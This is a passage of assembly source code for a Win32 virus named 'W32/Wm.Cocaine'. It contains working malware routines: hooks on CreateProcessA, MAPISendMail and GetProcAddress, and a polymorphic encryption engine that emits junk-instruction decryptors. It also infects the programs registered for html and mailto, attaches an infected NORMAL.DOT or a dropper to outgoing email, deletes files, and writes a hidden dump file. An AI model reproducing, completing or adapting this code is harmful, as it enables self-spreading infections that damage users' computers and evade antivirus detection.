OldCreateProcessA equ dwo $-4
jecxz @@9
call PatchIT
@@9:
lea eax, [ebp+(ofs NewMAPISendMail-ofs vcode)]
mov ecx, 0
OldMAPISendMail equ dwo $-4
jecxz @@92
call PatchIT
@@92:
lea eax, [ebp+(ofs NewGetProcAddress-ofs vcode)]
mov ecx, 0
OldGetProcAddress equ dwo $-4
jecxz @@93
call PatchIT
@@93:

call Payload
@@3:
call delta
cmp by [ebp+(ofs RestoreChunkz-ofs vcode)], FALSE
je @@aa

mov edx, MAX_BRANCH


lea esi, [ebp+(ofs rbuf-ofs vcode)]
@@rc1:
lodsd
add eax, [ebp+(ofs _base-ofs vcode)]
mov edi, eax
lodsd
mov ecx, eax
pushad
call WriteMem
popad
lea esi, [esi+ecx]
dec edx
COKE.ASM

jnz @@rc1

@@aa:
mov eax, 365
call random
cmp ax, 24
jne @sajsj
call GetList
lea eax, [ebp+(ofs directory-ofs vcode)]
push eax
call DeleteShitFile
@sajsj:

call OpenAncev
jc @@jdjd
lea eax, [ebp+(ofs cokefile-ofs vcode)]
push eax
call DeleteShitFile
@@jdjd:

mov eax, NUM_TOPICS


call random
mov eax, [ebp+(ofs topics-ofs vcode)+(eax*4)]
add eax, ebp
mov [ebp+(ofs subject-ofs vcode)], eax

IF DIRECT EQ TRUE
inc dwo [ebp+(ofs what_key-ofs vcode)]
call @@2323
db 'SOFTWARE\Classes\htmlfile\shell\open\command', 0
@@2323:
pop eax
call ConsultKey
call FixKey
sub eax, eax
mov dwo [ebp+(ofs fsizel-ofs vcode)], eax
mov dwo [ebp+(ofs mm_on_off-ofs vcode)], eax
call Infect

call @@2324
db 'SOFTWARE\Classes\mailto\shell\open\command', 0
@@2324:
pop eax
call ConsultKey
call FixKey
sub eax, eax
mov dwo [ebp+(ofs fsizel-ofs vcode)], eax
call Infect
dec dwo [ebp+(ofs what_key-ofs vcode)]
ENDIF

sub eax, eax


lea esi, [ebp+(ofs thread-ofs vcode)]
push esi
push eax
push ebp
lea esi, [ebp+(ofs MailThread-ofs vcode)]
push esi
push eax
push eax
call [ebp+(ofs _CreateThread-ofs vcode)]
call http_install
COKE.ASM

ret2host:
pop dwo fs:[0] ;restore seh frame
pop eax
jmp host ;jmp to host
vinit endp

host_entry equ dwo $-4

seh:
mov esp, [esp+8]
jmp ret2host

FixKey proc
push -2
pop ecx
mov edi, esi
@@0:
lodsb
cmp al, '"'
je @@1
test al, al
jz @@2
cmp al, ' '
jne @@3
cmp ecx, -2
je @@2
@@3:
stosb
jmp @@0
@@1:
inc ecx
jecxz @@2
jmp @@0
@@2:
sub eax, eax
stosb
ret
FixKey endp

cokefile db 'C:\COCAINE.SYS', 0

init proc
mov ecx, esp
call @@3
mov esp, [esp+8] ;fix stack
@@1:
call delta
stc ;signal error
mov cl, ?
org $-1
@@2:
clc ;signal sucess
pop dwo fs:[0] ;restore seh frame
sahf
add esp, 4
lahf
ret
db 081h
@@3:
sub eax, eax
push dwo fs:[eax]
mov fs:[eax], esp ;set new seh frame
COKE.ASM

mov eax, 0 ;is GetModuleHandleA imported?


OldGetModuleHandleA equ dwo $-4
test eax, eax
jz @@5
add eax, [ebp+(ofs _base-ofs vcode)]
lea edx, [ebp+(ofs kernel-ofs vcode)]
push edx
call [eax] ;use imported API to get
test eax, eax ;kernel32 module
jz @@5
mov edx, eax
jmp @@4
@@5:
mov eax, 077f00000h ;wNT base
push eax
call check_base
pop edx
jz @@4
mov eax, 077e00000h ;wNT 5 base
push eax
call check_base
pop edx
jz @@4
mov eax, 0bff70000h ;w9x base
push eax
call check_base
pop edx
jnz @@1
@@4:
mov eax, edx
mov ebx, eax
call delta
add eax, [eax+3ch]
cmp dwo [eax], 'EP'
jne @@1
add ebx, [eax+120] ;export table
lea eax, [ebp+(ofs sGetModuleHandle-ofs vcode)]
mov dwo [ebp+(ofs size_search-ofs vcode)], 17
mov [ebp+(ofs string_search-ofs vcode)], eax
call search_et ;get GetModuleHandle
jc @@1
mov [ebp+(ofs _GetModuleHandle-ofs vcode)], eax
lea eax, [ebp+(ofs sGetProcAddress-ofs vcode)]
mov dwo [ebp+(ofs size_search-ofs vcode)], 15
mov [ebp+(ofs string_search-ofs vcode)], eax
call search_et ;get GetProcAddress
jc @@1
mov [ebp+(ofs _GetProcAddress-ofs vcode)], eax
jmp @@2
init endp

check_base proc
call @@1
mov esp, [esp+8]
call delta
cmp eax, esp
jmp @@0
@@1:
push dwo fs:[0]
mov fs:[0], esp
cmp wo [eax], 'ZM'
@@0:
COKE.ASM

pop dwo fs:[0]


pop eax
ret
check_base endp

search_et proc
mov eax, [ebx+32]
add eax, edx ;name table ptr
@@1:
mov esi, [eax]
or esi, esi
jz @@3 ;nul ptr
add esi, edx
mov edi, 0
string_search equ dwo $-4
mov ecx, 0
size_search equ dwo $-4
rep cmpsb ;the one we search?
jz @@2
add eax, 4
jmp @@1 ;check next api
@@2:
sub eax, [ebx+32]
sub eax, edx
shr eax, 1 ;div by 2
add eax, [ebx+36]
add eax, edx
movzx eax, wo [eax]
shl eax, 2 ;mul by 4
add eax, [ebx+28]
add eax, edx
mov eax, [eax]
add eax, edx
clc ;signal sucess
mov cl, 12h
org $-1
@@3:
stc ;signal error
ret
search_et endp

gpa_custom proc
push eax ;pointer to api wanted
push ebx ;module handle
jmp _gpa
db 66h

gpa_kernel32 proc
push eax
push dwo [ebp+(ofs K32-ofs vcode)]
_gpa:
call [ebp+(ofs _GetProcAddress-ofs vcode)]
or eax, eax
jz @@1
clc
mov cl, 12h
org $-1
@@1:
stc
ret
gpa_kernel32 endp
gpa_custom endp
COKE.ASM

MAX_RECURSION = 3
JMP_MAX = 16
MAX_SUBROUTINES = 16

flg record{
_key:1, ;1key isnt necessary ;4
_encriptor:2 ;XOR = 00
;NOT = 01
;ADD = 10
;SUB = 11 ;23
_bwd_fwd:1, ;0inc/1dec counter ;1
_direction:1, ;1backward/0forward ;0
}

pushf
db 09ah

poly proc ;encripted in memory!


push esi
mov [ebp+(ofs entry-ofs vcode)], eax
mov [ebp+(ofs buffer-ofs vcode)], edi
mov [ebp+(ofs _size-ofs vcode)], ecx ;save entry values
sub eax, eax
mov [ebp+(ofs reg32-ofs vcode)], eax
mov [ebp+(ofs recurse-ofs vcode)], eax ;init internal vars
mov [ebp+(ofs lparm-ofs vcode)], eax
mov [ebp+(ofs lvars-ofs vcode)], eax
mov [ebp+(ofs subs_index-ofs vcode)], eax
mov [ebp+(ofs s_into-ofs vcode)], eax ;(dword)
call random0
and eax, mask _bwd_fwd + mask _direction + mask _encriptor
mov [ebp+(ofs flagz-ofs vcode)], eax ;set engine flagz
mov edx, eax
and edx, 11b
call random0
mov [ebp+(ofs key-ofs vcode)], al ;choose key
lea ebx, [ebp+(ofs crypt_table-ofs vcode)]
test edx, 10b
jz @@0
add ebx, 6 ;next table
@@0:
test edx, 01b
jz @@1
add ebx, 3 ;second choice
@@1:
mov ax, wo [ebx]
mov [ebp+(ofs _dec-ofs vcode)], ax
mov al, by [ebx+2]
mov [ebp+(ofs _enc-ofs vcode)], al
dec edx
jnz @@2
mov by [ebp+(ofs key-ofs vcode)], 0D0h ;not dont use key
bts dwo [ebp+(ofs flagz-ofs vcode)], 6 ;(mask _key)
@@2:
jmp @@3 ;flush piq
@@3:
lodsb
_enc db 00
key db 00
stosb
loop @@3 ;crypt code
COKE.ASM

mov eax, 64
call random
mov ecx, eax
call _shit
mov [ebp+(ofs decriptor-ofs vcode)], edi;here the decriptor start
call garble ;start of decriptor
lea ebx, [ebp+(ofs make_counter-ofs vcode)]
lea edx, [ebp+(ofs make_pointer-ofs vcode)]
call swapper ;setup start of poly decriptor
push edi ;loop start here
call garble
mov eax, [ebp+(ofs _dec-ofs vcode)]
mov edx, [ebp+(ofs p_reg-ofs vcode)]
or ah, dl
stosw ;store crypt instr
bt dwo [ebp+(ofs flagz-ofs vcode)], 6 ;(mask _key)
jc @@4
mov al, by [ebp+(ofs key-ofs vcode)]
stosb ;store key
@@4:
call garble
lea ebx, [ebp+(ofs upd_counter-ofs vcode)]
lea edx, [ebp+(ofs upd_pointer-ofs vcode)]
call swapper ;update counter and pointer
mov edx, [ebp+(ofs c_reg-ofs vcode)]
call random
jc @@5
call random
js @@7
mov eax, 0c00bh ;or reg, reg
jmp @@8
@@7:
mov eax, 0c085h ;test reg, reg
@@8:
mov ecx, edx
shl edx, 3
or ah, dl
or ah, cl
stosw
jmp @@6
@@5:
mov eax, 0f883h
or ah, dl
stosw ;cmp reg, 0
sub eax, eax
stosb
@@6:
mov ax, 850fh ;do conditional jump
stosw
pop edx
sub edx, edi ;delta distance
sub edx, 4
mov eax, edx
stosd ;jnz start_of_loop
mov dwo [ebp+(ofs reg32-ofs vcode)], 0
call garble
mov al, 0e9h
stosb ;jmp start
mov eax, edi
sub eax, [ebp+(ofs buffer-ofs vcode)]
sub eax, [ebp+(ofs entry-ofs vcode)]
add eax, 4
COKE.ASM

neg eax
stosd
call garble
call garble
mov ecx, [ebp+(ofs buffer-ofs vcode)] ;(this allow the calls be
sub edi, ecx ;forward/backward direction)
xchg edi, ecx
mov eax, [ebp+(ofs decriptor-ofs vcode)];calculate new entrypoint
sub eax, [ebp+(ofs buffer-ofs vcode)] ;relative to previous rva
pop esi
ret
poly endp

gar proc
call random0 ;get any reg
and eax, 0111b
cmp al, 4 ;esp never
je gar
ret
gar endp

get8free proc
mov eax, [ebp+(ofs reg32-ofs vcode)]
and eax, 01111b
cmp eax, 01111b
jne @@1
stc
ret
@@1:
call random0
and eax, 011b
bt [ebp+(ofs reg32-ofs vcode)], eax ;al,cl,dl,bl
jc get8free
call random_f
jc @@2
or al, 0100b ;ah,ch,dh,bh
@@2:
ret
get8free endp

get32reg proc ;get a free 32bit reg


call gar ;and mark it as used
bts [ebp+(ofs reg32-ofs vcode)], eax
jc get32reg
ret
get32reg endp

get32free proc ;get a free 32bit reg


call gar ;and NOT mark it as used
bt [ebp+(ofs reg32-ofs vcode)], eax
jc get32free
ret
get32free endp

swapper proc
call random0
jc @@1
xchg edx, ebx ;change order
@@1:
push edx
call ebx ;call 1th
call garble
COKE.ASM

pop edx
call edx ;call 2th
call garble
ret
swapper endp

make_counter proc
call get32reg
mov [ebp+(ofs c_reg-ofs vcode)], eax
cmp al, 5 ;ebp complicate methodz
jne @@2
btr [ebp+(ofs reg32-ofs vcode)], eax ;free ebp
jmp make_counter
@@2:
or al, 0b8h
stosb
mov eax, [ebp+(ofs _size-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _bwd_fwd
jnz @@1
neg eax ;counter will be INCed
@@1:
stosd
ret
make_counter endp

make_pointer proc
call get32reg
cmp al, 5 ;ebp complicate methodz
jne @@1
btr [ebp+(ofs reg32-ofs vcode)], eax ;free ebp
jmp make_pointer
@@1:
mov [ebp+(ofs p_reg-ofs vcode)], eax
or al, 0b8h
stosb
mov eax, [ebp+(ofs rva-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _direction
jz @@2
add eax, dwo [ebp+(ofs _size-ofs vcode)];pointer will be DECced
dec eax
@@2:
stosd
ret
make_pointer endp

upd_pointer:
mov eax, [ebp+(ofs p_reg-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _direction
jmp _update_reg

upd_counter:
mov eax, [ebp+(ofs c_reg-ofs vcode)]
test dwo [ebp+(ofs flagz-ofs vcode)], mask _bwd_fwd

_update_reg proc ;z=inc/nz=dec


mov ebx, 0140h ;inc
mov edx, 0c083h ;add
jz @@0
xor edx, 0c083h xor 0e883h ;sub
mov bl, 48h ;dec
@@0:
push eax
COKE.ASM

mov eax, 3
call random
or eax, eax
jz @@2 ;choose method
dec eax
jz @@1
xor edx, 0c083h xor 0e883h ;sub<->add
neg bh ;neg(1)
@@1:
pop ecx
mov eax, edx
or ah, cl ;patch reg
stosw
movzx eax, bh ;signal
jmp @@3
@@2:
pop ecx
xchg eax, ebx
or al, cl ;patch reg
@@3:
stosb
ret
_update_reg endp

garble proc
pushad
inc by [ebp+(ofs recurse-ofs vcode)]
cmp by [ebp+(ofs recurse-ofs vcode)], MAX_RECURSION
jae @@1
mov eax, 8
call random
add eax, 4
mov ecx, eax ;4-11 instructionz
@@0:
push ecx
lea esi, [ebp+(ofs gtable-ofs vcode)]
mov eax, (ofs egtable - ofs gtable)/4
call random
shl eax, 2
add esi, eax
lodsd
add eax, ebp
cmp by [ebp+(ofs lgarble-ofs vcode)], al
je @@2 ;same?
mov by [ebp+(ofs lgarble-ofs vcode)], al
call eax
@@2:
pop ecx
loop @@0
@@1:
dec by [ebp+(ofs recurse-ofs vcode)]
mov [esp], edi ;copy of edi in stack
popad
ret
garble endp

make_subs proc
cmp by [ebp+(ofs s_into-ofs vcode)], 0
jne @@1
cmp dwo [ebp+(ofs subs_index-ofs vcode)], MAX_SUBROUTINES
ja @@1
inc by [ebp+(ofs s_into-ofs vcode)] ;mark into
COKE.ASM

mov eax, [ebp+(ofs subs_index-ofs vcode)]


inc dwo [ebp+(ofs subs_index-ofs vcode)]
mov ecx, 6
cdq
mul ecx
lea esi, [ebp+eax+(ofs subs_table-ofs vcode)]
mov al, 0e9h
stosb
stosd
push edi ;[esp]-4 = skip_jmp
call garble
mov [esi], edi ;where sub is
mov eax, 5
call random ;number of paramz pushed
mov [esi.4], al ;by caller
mov eax, 5
call random ;number of local variables
mov [esi.5], al
test eax, eax ;if not local variables, then
jz @@0 ;dont alloc stack
mov ebx, eax
shl ebx, 2 ;displacement in dwords
mov al, 0c8h
stosb ;enter
mov eax, ebx
stosd ;size/deep
dec edi
jmp @@2
@@0:
mov al, 55h
stosb ;push ebp
mov ax, 0ec8bh
stosw ;mov ebp, esp
@@2:
push dwo [ebp+(ofs reg32-ofs vcode)] ;save reg state
mov by [ebp+(ofs _pusha-ofs vcode)], 0 ;no use pusha at start
mov eax, 3
call random
test eax, eax
je @@4 ;will use PUSHA!
@@10:
call random0 ;choose regs
and eax, 11111111b
or eax, 00110000b ;set EBP and ESP too
cmp al, -1
jz @@10
mov [ebp+(ofs reg32-ofs vcode)], eax
and eax, 11001111b
not al ;free regs are set bits now!
test eax, eax
jz @@10
@@5:
bsf edx, eax
jz @@6 ;no more regs free?
btc eax, edx ;clear it
cmp dl, 4
je @@5
cmp dl, 5 ;ebp-esp dont need be saved
je @@5
push eax
mov eax, edx ;get position
or al, 50h
COKE.ASM

stosb ;store as PUSH


pop eax
jmp @@5
@@4:
mov by [ebp+(ofs _pusha-ofs vcode)], -1 ;pusha used!
mov dwo [ebp+(ofs reg32-ofs vcode)], 00110000b
mov al, 60h ;set EBP and ESP as used
stosb ;pusha
@@6:
movzx eax, by [esi.4]
mov [ebp+(ofs lparm-ofs vcode)], eax
movzx eax, by [esi.5]
mov [ebp+(ofs lvars-ofs vcode)], eax ;set paramz to mem write/read
call garble
call garble
call garble
xor eax, eax
mov [ebp+(ofs lparm-ofs vcode)], eax ;disable mem write/read
mov [ebp+(ofs lvars-ofs vcode)], eax
mov al, [ebp+(ofs _pusha-ofs vcode)]
inc al
jnz @@7 ;well, do individual POPs
mov al, 61h
stosb ;POPA
jmp @@8
@@7:
mov eax, [ebp+(ofs reg32-ofs vcode)]
and eax, 11001111b
not al ;free regs are set bits now!
@@9:
bsr edx, eax
jz @@8 ;no more regs free?
btc eax, edx ;clear it
cmp dl, 4
je @@9
cmp dl, 5 ;ebp-esp dont need be restored
je @@9
push eax
mov eax, edx ;get position
or al, 58h
stosb ;store as POP this time
pop eax
jmp @@9
@@8:
pop dwo [ebp+(ofs reg32-ofs vcode)] ;restore reg state
@@3:
mov al, 0c9h
stosb ;leave
mov al, 0c2h
stosb ;ret
movzx eax, by [esi.4]
shl eax, 2
test eax, eax
jz @@a
stosw ;clean params
jmp @@b
@@a:
mov by [edi-1], 0c3h ;no paramz, use RETN
@@b:
call garble
pop esi
mov ecx, edi
COKE.ASM

sub ecx, esi ;distance


mov [esi-4], ecx ;patch jmp
dec by [ebp+(ofs s_into-ofs vcode)]
@@1:
ret
make_subs endp

make_call proc
cmp by [ebp+(ofs s_into-ofs vcode)], 0
jne @@1 ;cant call while creating sub
mov eax, [ebp+(ofs subs_index-ofs vcode)]
test eax, eax
jz @@1
call random ;choose one of the subs ready
mov ecx, 6
cdq
mul ecx
lea esi, [ebp+eax+(ofs subs_table-ofs vcode)]
movzx ecx, by [esi.4]
jecxz @@2 ;how much paramz it need?
@@3:
call gar
or al, 50h ;push paramz
stosb
loop @@3
@@2:
mov al, 0e8h
stosb ;build call
mov eax, dwo [esi]
sub eax, edi
sub eax,4
stosd ;store displacement
@@1:
ret
make_call endp

lea_dword proc
mov al, 8dh
stosb
call get32free
shl eax, 3
push eax
call gar
pop edx
or eax, edx
or al, 80h
stosb
call random0
stosd
ret
lea_dword endp

math_byte proc
mov eax, 8
call random
shl eax, 3
or eax, 1000000011000000b ;make math operation
push eax
call get8free
pop edx
jc @@1
or eax, edx
COKE.ASM

xchg al, ah
stosw
call random0
stosb ;byte
@@1:
ret
math_byte endp

math_word proc
mov ax, 8166h
stosw
call _math_imm
stosw
ret
math_word endp

math_dword proc
mov al, 81h
stosb
call _math_imm
stosd
ret
math_dword endp

_math_imm proc
mov eax, 8
call random
shl eax, 3
or al, 11000000b
push eax
call get32free
pop edx
or eax, edx ;patch reg into
stosb
call random0
ret
_math_imm endp

push_pop proc
call gar
or al, 50h
stosb
call garble ;recurse into
call get32free
or al, 58h
stosb
ret
push_pop endp

jmpcn proc
mov eax, 0fh
call random
or ax, 0f80h ;jcc near
xchg al, ah
stosw
stosd
push edi
call garble ;recurse
pop esi
mov eax, edi
sub eax, esi
mov dwo [esi-4], eax ;fix jcc
COKE.ASM

ret
jmpcn endp

jmpcs proc
mov eax, 0fh
call random
or al, 70h ;make jmp conditional
stosw
push edi
call garble ;recurse
pop esi
push edi
mov eax, esi
xchg eax, edi
sub eax, edi
mov by [esi-1], al ;fix jcc
or al, al
jns @@1 ;jmp destiny too far?
mov edi, esi
dec edi
dec edi
call one_byte ;replace with 2 byte instr
call one_byte
@@1:
pop edi
ret
jmpcs endp

jmpn proc
mov al, 0e9h
stosb
mov eax, JMP_MAX
call random
inc eax
mov ecx, eax
stosd
jmp _shit
jmpn endp

jmps proc
mov eax, JMP_MAX
call random
inc eax
mov ecx, eax
mov ah, 0ebh
xchg al, ah
stosw
movzx eax, ah
_shit:
call random0 ;ecx bytes of shit
stosb
loop _shit
ret
jmps endp

movr_byte proc
call gar
push eax
call get8free
jnc @@1
pop eax
ret
COKE.ASM

@@1:
push eax
mov al, 08ah
jmp _reg_reg
movr_byte endp

movr_word proc
mov al, 66h ;word-size prefix
stosb
movr_word endp

movr_dword proc
call gar
push eax
call get32free
push eax
mov al, 08bh
_reg_reg:
stosb
pop eax ;destino
pop edx ;source
shl eax, 3
or eax, edx
or eax, 11000000b
stosb
ret
movr_dword endp

mov_dword proc
call get32free
or al, 0b8h
stosb
call random0
stosd
ret
mov_dword endp

mov_word proc
mov al, 66h
stosb
call get32free
or al, 0b8h
stosb
call random0
stosw
ret
mov_word endp

mov_byte proc
call get8free
jc @@1
or al, 0b0h
stosb
call random0
stosb
@@1:
ret
mov_byte endp

one_byte proc
mov eax, 5
call random
COKE.ASM

lea ebx, [ebp+(ofs one_byte_table-ofs vcode)]


xlat
stosb
ret
one_byte endp

inc_dec proc
call get32free
add al, 40h
call random_f
js @@1
or al, 01000b ;inc/dec
@@1:
stosb
ret
inc_dec endp

mov_zs_x proc
call random0
mov eax, 0b60fh
js @@1
mov ah, 0beh ;z/s
@@1:
adc ah, 0 ;16/8
stosw
call gar
push eax
call get32free
shl eax, 3
pop edx
or eax, edx
or al, 0c0h
stosb
ret
mov_zs_x endp

one_byte_table equ this byte


std
clc
cmc
cld
std

crypt_table equ this byte


db 080h, 030h, 034h ;xor
db 0f6h, 010h, 0f6h ;not
db 080h, 000h, 02ch ;add
db 080h, 028h, 004h ;sub

gtable equ this byte


dd ofs jmpcn-ofs vcode
dd ofs jmpcs-ofs vcode
dd ofs jmpn-ofs vcode
dd ofs jmps-ofs vcode
dd ofs one_byte-ofs vcode
dd ofs push_pop-ofs vcode
dd ofs push_pop-ofs vcode
dd ofs push_pop-ofs vcode
dd ofs push_pop-ofs vcode
dd ofs inc_dec-ofs vcode
dd ofs inc_dec-ofs vcode
dd ofs mov_zs_x-ofs vcode
COKE.ASM

dd ofs mov_zs_x-ofs vcode


dd ofs math_word-ofs vcode
dd ofs math_word-ofs vcode
dd ofs movr_word-ofs vcode
dd ofs movr_word-ofs vcode
dd ofs mov_word-ofs vcode
dd ofs mov_word-ofs vcode
dd ofs movr_byte-ofs vcode
dd ofs movr_byte-ofs vcode
dd ofs movr_byte-ofs vcode
dd ofs math_byte-ofs vcode
dd ofs math_byte-ofs vcode
dd ofs math_byte-ofs vcode
dd ofs mov_byte-ofs vcode
dd ofs mov_byte-ofs vcode
dd ofs mov_byte-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs math_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs mov_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs movr_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode
dd ofs lea_dword-ofs vcode

egtable equ this byte ;end of in-memory encripted part

title1 db 'W32/Wm.Cocaine', 0
COKE.ASM

text0 db 'Your life burn faster, obey your master...', 0


text1 db 'Chop your breakfast on a mirror...', 0
text2 db 'Veins that pump with fear, sucking darkest clear...', 0
text3 db 'Taste me you will see, more is all you need...', 0
text4 db 'I will occupy, I will help you die...', 0
text5 db 'I will run through you, now I rule you too...', 0
text6 db "Master of Puppets, I'm pulling your strings...", 0

text_table equ this byte


dd ofs text0-ofs vcode
dd ofs text1-ofs vcode
dd ofs text2-ofs vcode
dd ofs text3-ofs vcode
dd ofs text4-ofs vcode
dd ofs text5-ofs vcode
dd ofs text6-ofs vcode

Payload:
nop ;on/off switch
sub ecx, ecx
push ecx
lea eax, [ebp+(ofs title1-ofs vcode)]
push eax
mov eax, 7
call random
mov eax, [ebp+(ofs text_table-ofs vcode)+eax*4]
add eax, ebp
push eax ;silly MessageBox payload
push ecx
call [ebp+(ofs _MessageBoxA-ofs vcode)]
ret

kernel db 'KERNEL32', 0
user db 'USER32', 0
mapi db 'MAPI32', 0

align 4

sGetProcAddress db 'GetProcAddress', 0 ;APIs from kernel32.dll that


sGetModuleHandle db 'GetModuleHandleA', 0 ;we need
sCreateProcessA db 'CreateProcessA', 0
sCreateFileA db 'CreateFileA', 0
sWinExec db 'WinExec', 0
sCloseHandle db 'CloseHandle', 0 ;api names, related to other 2
sLoadLibraryA db 'LoadLibraryA', 0
sFreeLibrary db 'FreeLibrary', 0
sCreateFileMappingA db 'CreateFileMappingA', 0
sMapViewOfFile db 'MapViewOfFile', 0
sUnmapViewOfFile db 'UnmapViewOfFile', 0
sFindFirstFileA db 'FindFirstFileA', 0
sFindNextFileA db 'FindNextFileA', 0
sFindClose db 'FindClose', 0
sSetEndOfFile db 'SetEndOfFile', 0
sVirtualAlloc db 'VirtualAlloc', 0
sVirtualFree db 'VirtualFree', 0
sGetSystemTime db 'GetSystemTime', 0
sGetWindowsDirectoryA db 'GetWindowsDirectoryA', 0
sGetSystemDirectoryA db 'GetSystemDirectoryA', 0
sGetCurrentDirectoryA db 'GetCurrentDirectoryA', 0
sSetFileAttributesA db 'SetFileAttributesA', 0
sSetFileTime db 'SetFileTime', 0
COKE.ASM

sExitProcess db 'ExitProcess', 0
sGetCurrentProcess db 'GetCurrentProcess', 0
sWriteProcessMemory db 'WriteProcessMemory',0
sWriteFile db 'WriteFile', 0
sDeleteFileA db 'DeleteFileA', 0
sSleep db 'Sleep', 0
sCreateThread db 'CreateThread', 0
sGetFileSize db 'GetFileSize', 0
sSetFilePointer db 'SetFilePointer', 0

sMessageBoxA db 'MessageBoxA', 0 ;USER32 functionz


sFindWindowA db 'FindWindowA', 0
sPostMessageA db 'PostMessageA', 0

sMAPISendMail db 'MAPISendMail', 0

ConsultKey proc
call @@1
@@1v dd 0
@@1:
push 000F003Fh ;KEY_ALL_ACCESS
push 0
push eax

push 80000001H
what_key equ dwo $-4
call [ebp+(ofs _RegOpenKeyEx-ofs vcode)]
test eax, eax
jnz @@0
call @@3
dd 0
@@3:
mov edx, [esp]
mov dwo [edx], MAX_PATH
lea eax, [ebp+(ofs directory-ofs vcode)]
mov esi, eax
mov [eax], eax
push eax
push 0
push 0
call @@4
db 0
@@4:
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegQueryValueEx-ofs vcode)]
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegCloseKey-ofs vcode)] ;close key
@@0:
ret
ConsultKey endp

align 4

k32_names equ this byte


dd (ofs sCreateProcessA-ofs vcode)
dd (ofs sCreateFileA-ofs vcode);these are relative pointerz
dd (ofs sWinExec-ofs vcode) ;to namez... zero end list
dd (ofs sCloseHandle-ofs vcode)
dd (ofs sLoadLibraryA-ofs vcode)
dd (ofs sFreeLibrary-ofs vcode)
dd (ofs sCreateFileMappingA-ofs vcode)
dd (ofs sMapViewOfFile-ofs vcode)
COKE.ASM

dd (ofs sUnmapViewOfFile-ofs vcode)


dd (ofs sFindFirstFileA-ofs vcode)
dd (ofs sFindNextFileA-ofs vcode)
dd (ofs sFindClose-ofs vcode)
dd (ofs sSetEndOfFile-ofs vcode)
dd (ofs sVirtualAlloc-ofs vcode)
dd (ofs sVirtualFree-ofs vcode)
dd (ofs sGetSystemTime-ofs vcode)
dd (ofs sGetWindowsDirectoryA-ofs vcode)
dd (ofs sGetSystemDirectoryA-ofs vcode)
dd (ofs sGetCurrentDirectoryA-ofs vcode)
dd (ofs sSetFileAttributesA-ofs vcode)
dd (ofs sSetFileTime-ofs vcode)
dd (ofs sExitProcess-ofs vcode)
dd (ofs sGetCurrentProcess-ofs vcode)
dd (ofs sWriteProcessMemory-ofs vcode)
dd (ofs sWriteFile-ofs vcode)
dd (ofs sDeleteFileA-ofs vcode)
dd (ofs sSleep-ofs vcode)
dd (ofs sCreateThread-ofs vcode)
dd (ofs sGetFileSize-ofs vcode)
dd (ofs sSetFilePointer-ofs vcode)
dd 0
dd (ofs sMessageBoxA-ofs vcode)
dd (ofs sFindWindowA-ofs vcode)
dd (ofs sPostMessageA-ofs vcode)
dd 0

DeleteShitFile proc
call delta
mov ebx, [esp+4]
push 80h
push ebx
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz @@1
push ebx
call [ebp+(ofs _DeleteFileA-ofs vcode)]
@@1:
ret 4
DeleteShitFile endp

NewMAPISendMail proc
push esp ;original MAPISendMail
pushad
call delta
lea eax, [ebp+(ofs mapi-ofs vcode)]
push eax
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
lea ecx, [ebp+(ofs sMAPISendMail-ofs vcode)]
push ecx
push eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [esp+(8*4)], eax ;return address=MAPISendMail

mov edi, [esp+(12*4)] ;MAPI Struct


cmp dwo [edi.nFileCount], 0 ;file attached?
jnz @@3
inc dwo [edi.nFileCount] ;set 1 attachments

lea ebx, [ebp+(ofs MF-ofs vcode)]


mov [edi.lpFiles], ebx
COKE.ASM

sub eax, eax


mov edi, ebx
mov ecx, 6
rep stosd ;esi=file structure

call OpenAncev
jc @@4 ;file dont exists, binary send

call GetTemplateDir

@@aaa:
lodsb
test al, al
jnz @@aaa

call @@aab
ndot db '\NORMAL.DOT', 0
@@aab:
pop edi
xchg edi, esi

dec edi
@@aac:
lodsb
stosb
test al, al ;we'll send infected NORMAL.DOT
jnz @@aac

lea esi, [ebp+(ofs directory-ofs vcode)]


push 80h
push esi
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]

test eax, eax


jz @@4 ;file exists?

mov eax, esi


mov edx, 'COD'
jmp @@5
@@4:

call CreateDropper

mov eax, [ebp+(ofs mm_on_off-ofs vcode)]


push eax ;buffer
mov eax, [ebp+(ofs fsizel-ofs vcode)]
push eax ;size
lea edi, [ebp+(ofs rbuf-ofs vcode)]
mov ebx, edi
call @@111
shitfile db 'C:\ENIACOC.SYS', 0
@@111:
pop esi
@@111a:
lodsb
stosb
test al, al
jnz @@111a
push ebx ;name

mov dwo [ebp+(ofs wd_att-ofs vcode)], 82h


call WriteDump ;hidden dump
COKE.ASM

push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)]

